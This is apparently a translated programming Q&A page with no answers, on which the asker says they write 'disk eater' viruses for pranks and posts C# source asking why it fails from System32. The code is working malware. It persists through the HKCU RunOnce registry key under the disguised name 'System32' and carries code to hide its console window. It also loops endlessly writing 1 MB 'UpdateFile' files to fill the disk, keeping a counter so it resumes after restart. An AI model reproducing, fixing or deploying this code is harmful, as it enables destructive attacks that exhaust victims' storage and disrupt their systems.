文件访问被拒绝 - System32位置?

时间:2016-06-12 02:54:00

标签: c# registry virus system32

我最近一直试图让磁盘吃病毒来提升我的教育知识,并进一步提高我为恶搞黑客编写恶意内容的技能。最近,我一直在努力的代码片段给了我许多问题。

它在启动exe时运行完美,但是当它从注册表运行时会出错。访问路径被拒绝(C:\ Windows \ System32 \ parse.int)

我很困惑为什么代码在system32位置运行!?

__________________ CODE ________________________

using System;
using System.Runtime.InteropServices; // needed to hide console
using System.IO;
using Microsoft.Win32; // Registry

namespace diskeater
{
class Program
{
    // stuff to let me hide it
    [DllImport("kernel32.dll")]
    static extern IntPtr GetConsoleWindow();

    [DllImport("user32.dll")]
    static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);

    const int SW_HIDE = 0;

    static void Main(string[] args)
    {
        // Hide
        //var handle = GetConsoleWindow();

       // ShowWindow(handle, SW_HIDE);
        //Hidden

        const string userRoot = "HKEY_CURRENT_USER";
        const string subkey = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce";
        const string keyName = userRoot + "\\" + subkey;

        Registry.SetValue(keyName, "System32", "\"" + System.Windows.Forms.Application.ExecutablePath + "\"");

        if (File.Exists("parse.int") == false) {
            var temp = File.Create("parse.int");
            temp.Close();
            var temp2 = new StreamWriter("parse.int");
            temp2.Write("0");
            temp2.Close();

        }

        try {
            string text, count;
            int i;

            try {
                var intreader = new StreamReader("parse.int");
                count = intreader.ReadToEnd();
                intreader.Close();

                text = new string('0', 1048576);

                i = Convert.ToInt32(count);

                while (true) {

                    try {

                        var sw = new StreamWriter("\\win32\\UpdateFile_" + i + ".dat");
                        sw.Write(text);
                        sw.Close();

                        var intcount = new StreamWriter("parse.int");
                        intcount.Write(i);
                        intcount.Close();

                        i++;

                        System.Threading.Thread.Sleep(250);

                    }
                    catch (DirectoryNotFoundException ex) {

                        Directory.CreateDirectory("\\win32");
                        Console.WriteLine(ex);//

                    }

                }

            } catch (FormatException ex) {
                var intcount = new StreamWriter("parse.int");
                intcount.Write("0");
                intcount.Close();

                Console.WriteLine(ex);//
            }

        } catch (FileNotFoundException ex) {
            Console.WriteLine(ex);//
        }

        System.Threading.Thread.Sleep(1000000000); //

    }
}
}

0 个答案:

没有答案